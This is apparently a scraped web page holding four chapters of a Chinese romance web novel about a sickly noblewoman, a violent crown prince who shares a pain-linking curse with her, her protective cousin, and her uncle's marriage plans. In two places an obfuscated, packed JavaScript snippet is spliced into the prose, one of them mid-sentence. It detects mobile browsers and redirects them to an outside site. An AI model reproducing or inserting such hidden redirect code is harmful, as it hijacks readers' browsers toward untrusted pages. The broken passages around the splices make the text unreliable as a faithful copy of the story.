《招惹暴戾太子后》 7. 表哥 跟前浓烈的血味儿愈重,丝丝缕缕的腥甜袭来,是太子身上的血的味道。 待听清他口中所言,她忽觉挽起袖口的左臂一凉,岑拒霜忙不迭地抓起自己的衣袖往手腕拉,迅速盖住了白嫩的胳膊,生怕太子犯病,直接张着嘴就咬上来。 岑拒霜下意识瑟缩起身子,试图将未能被衣衫遮掩的地方藏起来,胡乱找着由头,“殿下,臣女这身子打娘胎里出来就体弱多病,怕不是流的血都带着病气,恐会染及殿下。” 鲜丽的红色染就他扬起的唇角,极为妖异。 太子对她所言不以为意,他笑得狠戾,“你可知孤吃什么怎么长大的?” 她虽知,但也不敢实诚道来,只得茫然看向太子,“……臣女不知。” 多说多错,谁知她会不会因为知道的太多,被太子一口咬上来? 太子已是逼得很近了,他的目光飘忽至她紧紧合拢的襟口,仿佛一道利刃要将她的衣衫缓缓划开。 他盯着她的脖颈,柔白的皮肤被勒出了的红色痕迹极为扎眼,随着她急促的呼吸,颈间浅浅青筋暴露在他的视野里,他仿佛能够感受到渐渐加速流动的血液,藏在她薄嫩的肌肤下、窄细的血管里。 “孤自出生被狼养大,食的是生肉,饮的是生血。” 言外之意,她那点小小病气,对他而言不算什么。 烛影明灭,岑拒霜看着他峻拔的身躯,往后仰去,费力挪动着身子后退着,心脏遽然加速着跳动。 这下她是信了外面关于太子食人肉的传言了,只怕太子疯起来根本用不着烤煮,生的人肉他都照吃不误,说不定还正会觉着鲜血淋漓的生肉才有嚼劲。 岑拒霜忍着打颤的牙关,提醒着他,“殿、殿下,你咬我,你也会疼的……” 那蛊虫的存在,只是可以通过两人相触缓慢消解疼痛,如若太子咬她,那瞬间的疼痛还是会一并通感于太子的。 他却笑得愈发古怪,“孤就是喜欢疼。” 狭窄的床褥之上,岑拒霜仰躺在凌乱的锦衾间,太子俯撑于她身处,悬停于她面庞上半尺,说话之时,灼热的呼吸徐徐扫过她的脸颊, “且孤也咬不到自己的脖子,正想知道,咬上一口是什么感觉。” 闻及此,岑拒霜简直恨不得一口咬断他脖子。 可自己若是真这般做了,和狗……不对,是和这疯子有什么区别? 她才不要和疯子一样变态! 恰逢此时,玄序在竹屋外禀报。 “殿下,岑侯爷那边来人了。” 是叔父派人接她了? 岑拒霜紧闭的眼当即睁了开,她如获大赦地松了口气,顾不及整理松散的发髻,趁着太子没有逼来的间隙,她猫着腰仓皇钻出他身下,“殿下,臣女的叔父来接我了……失陪。” 她胡乱穿好绣鞋便往外逃,打开屋门之时,正瞧见玄序身后,一抹清癯冷峻的身影高立,如霜似雪的月色落在他不苟言笑的面孔上,添了几分凛冽寒意。 岑拒霜心下一喜,跨出门槛的步伐不自觉地快了些许,遥遥冲着表哥江逾白喊着,“哥哥!” 这一声呼喊脆生生的,含了几分她自己也不曾察觉的甜腻,屋内的太子拿起匕首的动作一顿。 太子侧过头,睨了眼她欣然离去的步伐,那对瑞凤眼里适才玩味的笑意渐渐消失不见,他又再折回身,随意寻了块绸布将匕首整块包好。 绸布包裹的匕首四四方方,叫人瞧不出是个什么东西,越是如此,越能让人浮想联翩。 屋外,岑拒霜望着步步走来的江逾白,面上藏不住雀跃。 自小,表哥便待她极好,她出了事惹了祸,时常是表哥为她善后或是顶罪,在她回京城养于深闺的五年里,尽是有着表哥作陪、悉心照看,她才不会觉得太过孤寂。 原本她还担心表哥在宴上寻不到她会心急,眼下表哥亲自来寻了她,她心里揣着的这桩事落了实处,自己也可以随表哥回府,离开这里。 “且慢。” 屋内传来太子幽幽的嗓音,岑拒霜心跳漏了一拍,便听他的足音移近,皮靴踩在竹身上的嘎吱声极为清晰,她的脚步不由自主地凝滞了几分,直至太子来到她的身后。 “孤赠予你的东西,你落下了。” 他躬下身,从怀里拿出绸布包裹好的东西塞进她怀里,像是恶趣味一般笑着强调,“收好了。” 岑拒霜自是能够从手心的触感猜到,绸布包着的,是今日她杀死陈六的那把匕首。 如今表哥在前,太子刻意把匕首赠予她,还欲盖弥彰似的把匕首藏起来,怕不是提醒兼具威胁她,需为今日之事守密的意思。 她偏过头,看着太子笑得别有意味的面容,她攥着匕首的手愈紧,垂首拜谢,“多谢殿下……臣女会收好的。” 言罢,岑拒霜匆匆步至表哥身边。 江逾白的目光不着痕迹地从她怀里抱着的绸布掠过,眼底的暗涌微微泛起波澜,又再藏于夜色里。 他稍将岑拒霜护在身后,对着竹阶上的太子拱手一拜,语气生硬,“承蒙殿下照顾舍妹,天色已晚,便先行告退了。” 随后岑拒霜便觉手腕一紧,表哥牵着她的手腕往竹屋外走去。 也不知为何,表哥的步子比往常快了不少,岑拒霜跟着有些吃力,只得出声对表哥道:“哥哥,哥哥……你走慢一些。” 远了竹屋,林间灯火稀稀疏疏,江逾白慢了脚步,回过头看着上气不接下气的岑拒霜。 “今夜我若不借着侯爷之名来接你,小霜便要在外贪玩至这等时辰吗?” 江逾白问着,语气有些生冷。 岑拒霜见表哥因为担心自己有了生气的迹象,她伸手轻扯了扯他的衣袖,“我错了……我……” 江逾白望着她稍显不整的发髻,惯来别着的绢花不知去了何处,连着发簪也歪歪扭扭,他皱起眉,伸出手一丝不苟地规整着她的头发, “太子可有欺负你?” 岑拒霜顺着表哥的动作埋下了头,“没有……我白日里玩累了,不慎睡着了,殿下还好心将我带到公主住的竹屋歇息。我一不留神睡得有些久了,才这么晚……” 第一次在表哥面前撒谎,她自是有些心虚的。但她委实不愿表哥担心,也不想让表哥招惹上喜怒无常的太子。 江逾白紧拧的眉头更深了些,“小霜日后还是少接触太子的好。” 岑拒霜眨了眨眼,“哥哥为何这般说?” 其实不用问她也知晓,表哥定是会言之于她,太子是如何危险,与其接触,一个不小心她就会丢了小命……诸如此类云云。 但前头她既然说出了太子对她好,她定也是要把话给圆回来的。 此刻见江逾白面目俨然,“这世上不会有无缘无故的好意,没人会没缘由的对你好。” 他的语气极为严肃,岑拒霜转过身,双手背于身后,抬起笑脸对他说,“可哥哥对我就很好呀。” 江逾白的神色稍有缓和,他张唇之间欲言又止,最后似是无奈地道出四个字,“我不一样。” 岑拒霜两眼弯得更甚,满口赞同,“那是自然,哥哥是哥哥,旁人是旁人。” * 回府后的两日里,岑拒霜多数时候都在闺房里歇息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑侯爷听罢笑了笑,“有我在,就算是天王老子,我也不会让他恐吓威胁了小霜去。而且,她不小了,时青,她已是及笄了。” 那后半句话意有所指,江逾白眼眸微动。 岑侯爷回忆道:“兄长和长嫂尚在时,小霜的爷爷有意让岑江两家联姻,指腹为婚,定下了你和小霜的婚事。只是小霜出世后一直身体不好,兄长和长嫂把她带在边关十年,从未对她提过这门婚事。 “一来,她这身体不管嫁入哪家门户,多多少少都会惹人闲话;二来,婚事虽已定下,但兄长和长嫂想要让小霜自己考量。” …… 岑府另一边。 “姑娘,该起了。” 岑拒霜从敲门声里醒来,她睁开迷迷瞪瞪的眼,看着流岚在一旁叠着绒毯,思绪尚是朦胧。眼皮仍有些沉重,她揉着额角嘟囔着“还想再睡一会儿”时,流岚接下来说的话让她蓦地醒了几分。 “侯爷让您去一趟他那里。” 她翻身的动作就此滞住,岑拒霜支起身,问道:“可有说是何事?” “没有,”流岚摇摇头,又再打趣着笑,“但是江公子也来了,应是又在给姑娘张罗什么好东西了。” 岑拒霜却高兴不起来,心底掠过一丝慌张。 若叔父真是在为她张罗什么,往常皆是直接送到她院子里了,并不会把她叫去。毕竟叔父疼惜她身体,能不让她多跑一趟从不让她累着,如此说来,只会是有要事相商。 联想到近日发生的所有,唯有赏春宴上,太子教她杀人一事。 她不禁忐忑起来,难道是此事被叔父察觉了? 8. 婚事 岑拒霜面见叔父时,叔父正独坐于堂内,左右并无表哥江逾白的身影。 她攥紧了衣袖边缘,对叔父福身的间隙,偷眼瞄着叔父的神情,又再小心翼翼地问道:“叔父找我何事?” 岑侯爷先是招了招手,一旁伺候的嬷嬷熟稔地拿来软垫放在他一旁的座椅上,扶着岑拒霜入了座。 岑侯爷看着近年容貌出落得绝色的岑拒霜,心头感慨着,这模样,与她母亲越发相似了。 晃眼之时,他想起多年前,岑拒霜第一次随其父母回京城的时候。 那会儿岑拒霜还是个不过他腰高的小姑娘,她总是揪着她母亲的衣角躲在其衣袖后,瓷白的小脸噙着盈盈笑意,特别是那一对月牙儿眼,水灵灵的极惹人喜爱,走到哪儿,都是会被长辈们围着挨个抱的。 如今这样一小只糯米团子也长成了大姑娘,岑侯爷再是喜爱与不舍,也要为她的婚事绸缪。 否则将来去了地下,他该如何跟过世的兄长与长嫂交代?自己抚养了霜丫头,连她的终身大事都不为她考虑把关。 江家那小子愿意娶小霜自然是好,但他也想听听岑拒霜自己的想法。 如若小霜根本没有嫁入江家的心思,当年指腹为婚一事,他得空去江家悔了便是。 此番岑侯爷试探性问着,“没什么要紧的,就是想问问小霜前两日去赏春宴……” 提及赏春宴,岑拒霜生怕叔父问起她和太子,紧忙接过话,“我在赏春宴玩得挺开心的。” 她迅速接过嬷嬷手里还在试着水温的瓷盏,低下头小口喝着,仓皇掩饰着心虚。 却听岑侯爷顿了顿,“那宴上的人如何?小霜有中意的吗?” 岑拒霜这才知叔父叫她过来是为商讨何事。 她想起今年正月及笄时,不知是谁提了句“她已是到了谈婚论嫁的年纪”,岑拒霜听后,便对叔父说过她还不想嫁人。 先不说自己这身体嫁给任何人都是累赘,再者,叔父养她照顾她这么些年,叔父于她而言,不是生父也早已胜似生父,她并不想离开叔父,也不愿再同亲人分离,哪怕是因为嫁人与叔父分居两地。 叔父年轻时丧妻,一直以来未有续弦,如今侯府只有她一人在叔父膝下,若是她也嫁人了,叔父便真的成孤家寡人了。 原本她去赏春宴参加掷花礼,叔父也要她多看看京中儿郎,可掷花礼上发生的事让她委实没什么兴致。 岑拒霜嘟囔道:“我要给叔父养老,才不要嫁人。” 岑侯爷为她所言深感欣慰的同时,亦笑着劝道:“你叔父身体还硬朗着呢,再过个二十年,我那边关的孙子都能回来给我养老了。” 他望着没有做声的岑拒霜,后者浅浅的黛眉蹙起,一副闷闷不乐的模样,无声叹了口气。 “叔父不是想要赶小霜走,是小霜既然已经及笄了,叔父便要为小霜早做打算。择婿事大,这京中儿郎如此之多,小霜若有中意的,叔父也需要多费时日瞧瞧这人学识、品行等诸多方面如何,所以才早早问你。” 岑侯爷叹着,这孩子自小重亲恩,又经历过双亲亡故的悲事,如今好不容易在他这里安了身,怕是不愿轻易离家。 转念间,他忽的想到,“难不成……小霜是想要个上门女婿?” 上门女婿? 她是想找借口推脱,但眼见叔父为她的婚事殚精竭虑的模样,岑拒霜索性顺着话说了下去。 “好呀,叔父按上门女婿的标准为我挑就好了。样貌嘛,自然不必多说。为人的话……要不嫌我麻烦,会伺候人,说话好听,性情最好也温顺点……” 岑侯爷一一听着,也记着。 他心道,那江逾白后面的要求倒是符合,江逾白平日的性情是冷了些,但他身为岑拒霜的表哥,待岑拒霜却是极好的,事无巨细,照顾周全。 只是江逾白作为江家长子,江家老爷子最看重的就是他这长孙,入赘岑府……这估计不大可能。 岑侯爷挪眼看着岑拒霜,她正掰着手指细说着要求,难得在此事上有了兴致,岑侯爷大手一甩,不可能就不可能罢,小霜喜欢什么才是最紧要的。 话至最后,岑侯爷听完岑拒霜侃侃提出的一堆要求后,他深深看了眼她,一时不知她是想找个合适的夫婿,还是想找个听话乖巧的仆人。 “小霜说的这些,叔父记下了。” 末了,岑侯爷又怕自己这般劝了岑拒霜择婿后,他却没能为她找到合适的夫婿,白白让她期待。 若真是闹得这样难收场的结局…… 据岑侯爷所知,当今圣上的姐姐长公主未有驸马,便是在其宅子里养了许多面首,虽无儿女,日子倒也过得逍遥自在。 京中时常有人诟病长公主任性妄为,岑侯爷觉得,若是小霜往后的日子也似如此,哪怕有日他驾鹤西去,她定也过得不错。 况且将来若是府上有变,他去后无人再照看她,这些年他把兄长和长嫂的钱财都积攒打理在了小霜名下,小霜自个儿花个八辈子都绰绰有余了。 苦思三番后,岑侯爷续言,“如若叔父没能为小霜寻到如意郎君,京城西市也有好些生得不错的伶人,叔父给你挑几个回来,你养在府上也好,置办在外宅也罢,都凭你做主,叔父这里不缺住处,也有的是余钱给小霜使。” 意会到叔父为她寻夫婿的良苦用心,岑拒霜鼻尖一酸,她微微向前倾着身子,抱着叔父的胳膊埋在了其肩窝,放软了声,“只要能陪着叔父,怎么都好。” 将来她若未有婚配,养几个面首在府上又能如何?抛开能够与叔父相伴不说,谁不喜欢好看又听话的人呢? 想到这里,她的眼前蓦地一闪而过那张俊美无俦的脸,其上一对瑞凤眼狠戾。 岑拒霜猛地摇了摇头,试图把那张脸甩出自己的脑海里。 却是此时,左臂传来一阵尖锐的疼痛,像是有利刃缓缓划破皮肤,又烧灼着,刺挠着。 她下意识弓起身子,用右手捂住左臂,喉咙里亦压着痛呼。 “小霜?” 她的反应极大,近旁的岑侯爷吓了一跳,留意到她的不适后,他即刻遣人,“快,去把院里的大夫请过来。” 府上储着不少大夫,甚至单独划出了个院子供这些大夫居住,尽是时时为岑拒霜的身体准备着。 岑拒霜咬着牙,强撑着抓紧叔父的胳膊,“叔父……我,我没事……” 还用得着 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岑侯爷说着,“你的身体病时会有何等症状,我向来清楚,从未有过今日这样的。而我曾听说过一种折磨人的手段,将极细的银针刺入人的身体里,银针便会长在肉里,时时引起疼痛,外表却没有任何伤口,有时大夫也看不出缘由。” 岑拒霜是有苦难言,心里默默盼着太子这时候莫要再作妖了。 她总不能告诉叔父,自己是和太子中了那样的蛊吧?届时她和太子的秘密不仅包不住火,她杀人的事情恐怕也会被抖出来。 “叔父多想了……我不过是一个病秧子,与太子无仇无怨,他为何要欺负我,甚至向我下毒手?” 言罢岑拒霜挽起衣袖,将白花花的左臂举至叔父跟前晃了晃,像是怕叔父不信般,她又用指腹重重按过疼痛的位置,以示自己手臂里根本没什么银针。 岑侯爷不依不饶地追问着,“可你本来好好的,去了趟赏春宴,怎的就无故手臂疼痛?是不是宴上还有别的什么人欺负了你?” 岑拒霜讪讪答言,“兴许……” 话还未完,门外传来管家的嗓音。 “侯爷,有客人求见。” 岑侯爷转过身,“客人?今日侯府并未有约见什么客人,是什么样的客人?” 眼见叔父起身往屏风外走去,岑拒霜松了口气,庆幸着这及时出现的客人为她解了围。否则叔父再追问下去,她真不知该如何掩饰了。 岑拒霜无奈地看着自己的手臂,此处疼痛早已不如此前剧烈,渐渐的消减了不少,要不了一会儿便感知不到疼痛了。届时她再去跟叔父解释,应当会好很多。 一想到太子,她气恼地拍打着手边的绸子,还使劲儿捏了捏,又不解恨地把那绸子攥挼成一团。 那把用绸子包起来的匕首,岑拒霜带回府后日夜将它枕在自己枕头下,生怕被人发现。如今若不是太子,她何至于这般时时提心吊胆? 看来她得尽快找到解蛊的法子摆脱掉太子。 人都远在东宫了,还这么不消停! 雕梅银朱屏风外,岑拒霜听到管家回了话。 “侯爷,客人递来一块腰牌,是宫里的御医,太子殿下指派他来的。” 9. 问诊 听到“太子”俩字,岑拒霜蹭的一下从软榻坐起。 此番岑拒霜听见叔父在外应了管家,“既是殿下好心派了御医为小霜诊看,那便让他进来吧。” 她的心脏不争气地加速跳动了起来,太子又想做什么?当下叔父本就在疑心太子欺了她,太子在此时派御医过来给她看病,不就是坐实了他“虐待”她的嫌疑吗? 岑拒霜愁着怎么自圆其说之际,眼前一抹月白衣袍掠过视野——是表哥江逾白。 她扬起脸,唤了他一声,“哥哥?” 江逾白的目光落在了她的左臂上,“听侯爷说,你身体不适,我便来看看你。” 岑拒霜摆了摆手,“没、没有的事……是我小睡时枕着了这只手臂,适才府上的大夫都为我瞧过了。” 江逾白眼神幽邃,如洞穿万物的利箭,穿过她遮掩的衣袖,只听他嗓音微冷,“小霜,别想着撒谎,我已经问过府上大夫了。” “我……” 岑拒霜找不到说辞了。她本就因此事圆不过去而烦恼,当下表哥如此直白戳破,她心头愈发烦闷,不知所措之际,她索性抓起软塌旁的薄毯蒙住了整个脑袋,逃避般挡住了表哥盯着她的双眼。 江逾白仍在说着,“小霜,有什么事瞒着我们,是得不到解决的。” 岑拒霜抓着薄毯的指节更紧了。想到今日这番费功夫的遮掩,她时时心惊肉跳、不得安宁,好不容易喘了口气,如今表哥又对她紧追不放,她更加心烦意乱,不禁小声嘟囔着, “哥哥你就不要再问了……” 话还未完,屋外传来一连串脚步声,还有叔父的声音。 “陈御医,有劳了。” 岑拒霜轻轻拉下薄毯,露出一双眼。表哥没再追问于她,那道修长的身形步至了桌边为她徐徐倒着温水,她侧过头看着屏风外影影绰绰的身形,应是叔父带着陈御医进了屋。 她掀开薄毯稍稍起了身,又再规矩卧好。 陈御医穿着官服,戴着小帽,一面和岑侯爷客气笑着,一面小步绕至了屏风后,躬身把药箱放到了地上。 “小霜,这位陈御医是宫里头来的,曾是御医院的领班。” 岑侯爷三言两语客套过后,岑拒霜趁着陈御医打开药箱的间隙,抢先对其说道:“我今日午睡后,左臂莫名觉得疼痛,劳烦陈御医为我瞧瞧了。” 陈御医点点头,先是瞧了瞧她的面相,又挽起左边衣袖细看,他面上浮现出一丝疑惑,与之前府上的大夫为她看时无异。 最后陈御医为她诊脉之时,岑拒霜低下头掩面打了个呵欠,便见陈御医转着眼珠子,问道:“姑娘是午睡方起吗?” 岑拒霜答言,“正是。” 陈御医挤出一丝笑,“姑娘的身子并不碍事,是常年虚弱导致的气血两亏,服些调养的方子即可。偶有疼痛是姑娘睡时姿势不当,血液淤塞的缘由,往后伺候的丫鬟为姑娘稍加留意些便是。” 闻及此,岑拒霜对着陈御医身后的俩人说着,“叔父,哥哥,你们看,陈御医都这样说了,我真的没事。” 她也不知这样刻意引导陈御医说出的症结,叔父和表哥会不会相信,毕竟陈御医是太子那边的人,所说的话很有可能会加重叔父的疑心。 但眼下她也没有更好的办法了,若叔父信了自是好事,倘若不信,她暂时把这件事圆过去,日后的事,日后再说。 只是细思下来,太子这个时候派御医过来,是为了试探她有否暴露她和他之间的事么? 此后陈御医留下叮嘱吩咐了一些注意事宜,岑侯爷邀着陈御医出了屋外送客。 “那我在此谢过太子殿下,还望陈御医回宫后,替我为殿下问好。” “下官定会为侯爷转达。” 陈御医笑应着话,却是暗暗抹了把汗。 一个时辰前,他接到太子身边的贴身侍卫传唤,言之于他,太子受了伤,要他即刻赶往殿下的寝殿为其上药包扎。 彼时陈御医拎着伤药便往寝殿赶,赶到时,却瞧见太子正拿起一壶酒,往自己左臂上一道血流不止的伤口浇。 远远的,陈御医都能闻见烈酒刺鼻的味道。 他眼角不禁一跳,烈酒碰着伤口最是疼痛,他怎么见的太子浇得越来越上头? 陈御医慌忙上前,正欲请示太子时,太子倒酒的动作停了。 太子偏过头,笑得恣睢,“孤要你去岑侯府上,为他的小侄女瞧瞧。” 得来这样的命令,陈御医百思不得其解。 他对岑侯爷的小侄女岑拒霜也略有耳闻。 多年前,镇国公岑将军及其夫人还在世,二人立下军功后,一律金银官爵恩赏统统不要,只求圣上赐医为他病弱的小女儿调养身体。圣上拗不过岑将军,直到岑将军及其夫人为国捐躯后,始才追封了镇国公,其妻位至一品夫人,年年爵位所赐归于岑拒霜名下。 后来圣上本还想送些御医和珍贵药材给岑拒霜,又被岑侯爷婉拒了。岑侯爷言之岑拒霜年幼,受不得如此重恩。如今想来,岑侯爷也是怕岑拒霜小小年纪受恩太多,在京中遭人眼红,这才屡屡拒恩。 陈御医见得,岑侯爷这番做法不失他的道理。岑侯府上养的大夫他大多认识,岑拒霜也靠这些大夫调养得还算不错,至少除了身子骨弱了些,少有凶险之象。 只是太子这番做法,陈御医揣摩不出究竟何意。 时隔多年,圣上忽然想起当年施恩未成,又借太子的名义来这一趟? 陈御医嘶了一声,摇了摇头,似乎也不是。 岑侯爷近年鲜涉朝堂,与圣上的交集并不多。 那如若是出自于太子的意思……难不成…… 陈御医抹了把冷汗。 但凡被太子盯上的人,事后都没有什么好下场。看来太子近日闲来无事,又有了新的折磨目标。 待回东宫,陈御医入了寝殿,太子正提着朱笔批奏折,他左臂的伤也未包扎,褐红色的血凝固在了表皮,赤条条地暴露在视野里,看着极为狰狞。 陈御医叩首,“殿下,臣自岑侯府回来了。” 太子乜了他一眼,“去瞧得如何?” 陈御医将所见如实道出,“岑家那位姑娘自幼多病,身子是弱了些,但也还算调养得当,暂无性命之忧,今日也正巧撞上她左臂疼痛,岑侯爷格外紧张……” 太子望着自己的左臂,看来这蛊隔了那么远依旧有效用,且宫里的御医都瞧不出来是蛊虫作祟,想必她府上那些大夫都无法看出门道。 只要她不说,没人会知道。 得来答复,太子满意地在奏折末尾批复了小字。 “不过……那姑娘身边有……” 太子漫不经心地搁置下朱笔,“有什么?” “有一位公子悉心照顾,寸步不离。” 他想,他这也算是委婉提醒太子。 若是太子想把岑拒霜怎么样,怕不是要搭上两条人命。 太子的声线听不出情绪,“孤问你了?” 陈御医听罢浑身血液僵住,一时之间,嘴里的舌头就像打结了一样,“臣,臣……” 太子烦躁地招了招手,“退下吧。” 陈御医这才获救般小步退了出去。 太子垂眼看着案上堆积如山的折子,沉思半刻后出了声,“玄序。” 玄序躬身,“属下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814239|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。” 太子起身靠卧在缀玉雕花的玄椅上,长腿交叉,踩在桌腿处,“你去趟清居院,把这些个折子全给父皇送去。” “是。” 玄序应着,走上前收整着折子。 自打四年前,圣上生了一场重病,将国政交给太子暂行打理,那之后殿下每日便要为圣上批阅奏折,偶尔亲自处理政务,行事作风不同于圣上的宽厚温和,那叫一个杀伐果决。 朝臣们惴惴不安,生怕惹了太子不悦、一个不小心就人头落地,做起实务来兢兢业业,公事上的错漏都少了不少。 一时朝野清明,上下齐心。 可这份劳苦功高,在惧怕太子的朝臣们看来,便成了圣上纵容其暴虐无道。 玄序时有为自家殿下打抱不平,但太子从不在乎这些名声,他这个做侍卫的也只得默默盼着哪一日,有人可以懂他家殿下。 恍神间,玄序无意瞄了眼手边的折子,其上是齐尚书所呈,提及赈灾拨付银两出库。 此事已顺利落实有一阵子了,齐尚书还照旧日日写折子递上来问安,哪怕其人已经到了灾情地了,百忙之中还要抽空赋诗写词,递来折子赞颂圣上; 还有秦郡守,洋洋洒洒写了长长一大篇,内容尽是感怀当地民心至纯,民风朴厚,秦郡守每每都要递折子,写着其四处巡察州郡的记录。 虽说回禀当地民情实况也是为官所需,但玄序见得,这上面详尽到某处山脚的葱油小面浓香可口,物美价廉…… 玄序同情起自家殿下起来,这些折子,殿下日日看着,心烦也是应当的。 他摞着厚厚的折子的间隙,崔太傅遒劲的墨字入眼,满篇痛斥太子独断专行,又是在为太子不娶亲不纳侧妃一事发愁。 恰逢太子在旁说着,“崔太傅这么想让孤娶亲,孤给他赐婚好了,左右他不缺妻妾,孤赐他一个男宠。若实在太闲,让他找个泥坑,把自己埋里头抓鱼去。” 玄序心头一震,崔太傅一把年纪了,早过了甲子,这要是被太子殿下赐了个男宠,怕是第二日便会闹得满京城沸沸扬扬。 * 一路穿过皇宫里的小道,玄序来到后宫一处傍山而建的院落。院落布置简素,不着奢华,围栏所用不是什么翡翠珠玉,只是简简单单筑成的篱笆。 门前年迈的白眉公公引他入内,满屋字画悬挂两边,中处高座,玄序见皇帝正坐在竹藤编织的椅子上,双手捧着个麻布袋子,一丝不苟地挑着泥土里头的种子。 皇帝只看了眼玄序怀里的折子,笑得无奈,“太子今日又撂挑子了?” 玄序将折子递给了公公,俯首回禀着话,“殿下让卑职托言,说‘他没工夫看这些老头放屁’。” 皇帝已是司空见惯,他擦了擦手掌,眼见公公抱着折子上前,他随意翻看了面上的折子,“崔太傅又进谏,让朕选太子妃了。” 玄序埋着头,“殿下说……太傅要是闲的没事,陪您钓鱼也是好的。” 他自然没胆子把太子的前半段话说出口,只得稍微委婉地把太子的话转述给了圣上。 皇帝答允,“也好,太子也算有心。那就空时让崔太傅进宫一趟,陪朕在清居院待几天。” 不多时,玄序退出清居院后,门外的小太监向内禀报着。 “陛下,岑侯爷求见。” 皇帝把折子一放,满脸新奇,“哦?倒是稀客,不涣这些年为了他的小侄女,待在府内鲜有外出,怎么今日有闲暇过来?快让他进来。” “臣参见陛下。” 得见岑侯爷入内,皇帝当即招手示意,“不涣,你来得正好,朕正在为太子择太子妃,你同朕一道瞧瞧。” 10. 入宫 岑侯爷送走陈御医后,如何也放心不下,不辞迢迢来到了皇宫面圣。 皇帝兴致盎然地邀他至书案前,唤来人奉茶,寒暄再三,极为热络。 盛情难却之下,岑侯爷好一会儿才找到了机会,拱手插嘴,“臣有……” 话还没说出口,皇帝握住他的双手,长长叹着气,“朕知道,你想说太子性情不好,朕倒觉得,太子除了这一点,哪里都好。太子今年二十了,朕亲自给他挑了个表字,容与,如何?他的样貌也长开了,像他母亲,放眼整个京城,都没有比他更出挑的了。” 岑侯爷绷着一张脸,越听越觉气不打一出来。 太子长得好看有什么用?长得好看就能欺负我侄女? 皇帝夸起太子来就没了头,他瞥见岑侯爷铁青的面色,权当岑侯爷也看不惯太子素日的张狂作风,皇帝又拉拽着岑侯爷至堆积的折子前,特意翻找出一封拟好陈条的折子,递给岑侯爷。 “不涣你瞧瞧,这是太子批复的奏折,这笔迹板正的,这文韬武略的,没得说吧?朕这么大的时候,都写不出这样的方略。还有朕这满屋子的字画,全都是太子所作。” 岑侯爷不情不愿地接过折子,心道当年您这么大的时候,可不是写不出来么? 他不禁忆道,那会儿圣上还是个闲散皇子,整日揪着自己和大哥岑不渡满边关跑,因其武功不济,差点被人抓去当活靶子使,活生生的愣头青一个。 要不是长嫂及时洞察,同自己和大哥赶忙去救下,今日这皇位怕不是另有他人。更别提圣上登基时,京中掀起腥风血雨,皇位亦是岑家出面力保。 拿圣上常说的一句话便是,他们四个都是穿一条裤子长大的,亲疏不分。虽然每每这样说,长嫂都在旁翻着白眼,一脸嫌弃地假装不识他们仨。 往事过矣。 岑侯爷出神时瞄了手里奏折一眼,他向来是一目十行,短短须臾,已是把奏折上的朱批看尽。 他又再打眼细看,暗暗赞许,太子确实是像那么一回事。 不过眨眼工夫,岑侯爷回过神来,将折子放回书案,适才稍有松缓的面色再度僵成了铁板。 一码归一码,我的小霜不能白白受这个委屈。 忆及岑拒霜在家中憋着不肯说的委屈模样,岑侯爷胸中的火气又攒起,正想将赏春宴发生的事同皇帝控诉时,皇帝仍一心捧着折子,翻来覆去地看着上面太子所作朱批,言谈举止,无不露出对太子的欣慰与自豪。 “真是不错,不愧是朕的儿子,朕当年没白费功夫教他。” 皇帝搁置下折子后,他望着岑侯爷,似是又想起了什么,转而其眉目添了几分愁绪,“就是太子这生来不近女色,只有朕为他多操点心了。” 岑侯爷只差没把白眼当面翻给皇帝,他端着茶盏,险些将其捏碎。 不近女色?那我侄女身上的伤是怎么来的? 皇帝依旧滔滔不绝,“不涣你若是有合适的太子妃人选,也可以向朕举荐一二。朕与你共事这么多年,对你的眼光再相信不过了。” 岑侯爷皮笑肉不笑地应了话,“……那还真是多谢陛下信任了。” 皇帝折身归位时,忽的想起了什么,他又顿住了步子,回头看向岑侯爷,“啊对了,适才不涣来时,是有什么事要同朕说来着?” 岑侯爷勉强挤出一个笑脸,“没事了,臣告退。” 还告什么状?照着圣上这对太子极为满意的情形,就怕没把他这儿子吹上了天。只怕他控诉了太子,不仅没能为侄女讨到公道,还会被迫留在这里继续听圣上为太子说话。 岑侯爷说完便要离去,皇帝又再叫住了他。 “过几日宫里举办百花宴,不涣你来为朕把把关,看看宴上的贵女如何?” 岑侯爷身形晃了晃,心头怨念愈深。 状没告成,还被当苦力? 皇帝看着岑侯爷迟迟没有反应,奇着今日他似乎心情不悦,思来想去,岑侯在乎的,不外乎是他那个小侄女。 皇帝又补着话,“你把你的小侄女也带上吧,朕见她小时候最爱吃宫里的透花糍,朕差人多备些。只是那做糕点的师傅,前几年被太子要了去,朕过几日同太子商量,把厨子送到侯府吧,你家小侄女一定喜欢。” 岑侯爷听到“太子”二字,头已是疼了起来,他摆摆手,“糕点可以,厨子便罢了,臣不夺人所好。” 皇帝见岑侯爷松了口,笑得满脸褶子,冲着远去的背影喊道:“那说好了啊,朕的百花宴,不涣你一定要来。还有你的小侄女,朕也好多年没见过不渡和赴岳的女儿了。” * 是日,春色晴好,一路青枝摇晃,花影渐深,岑拒霜坐着马车入宫,至宫门处落脚。 流岚小心搀着她下了马车,岑拒霜提着衣裙,抬起眼望着跟前巍峨的朱墙。 上回入宫,还是叔父五年前把她从祖籍地带回,匆匆面圣便回了侯府。今时想来记忆已不多,只记得自己那时无依无靠,行于偌大的皇宫里时,她死死抓着叔父的手,半步也离不得叔父。 对于今此叔父破天荒提出带她来百花宴,岑拒霜很是意外,不过叔父一早不知被什么事缠住了身,比她先行一步进宫,她在府上被丫鬟婆子们围着用完了药才出门。 才过午时,设作百花宴的曲水亭一带已攒满了人影,各自锦衣华服,光鲜夺目。 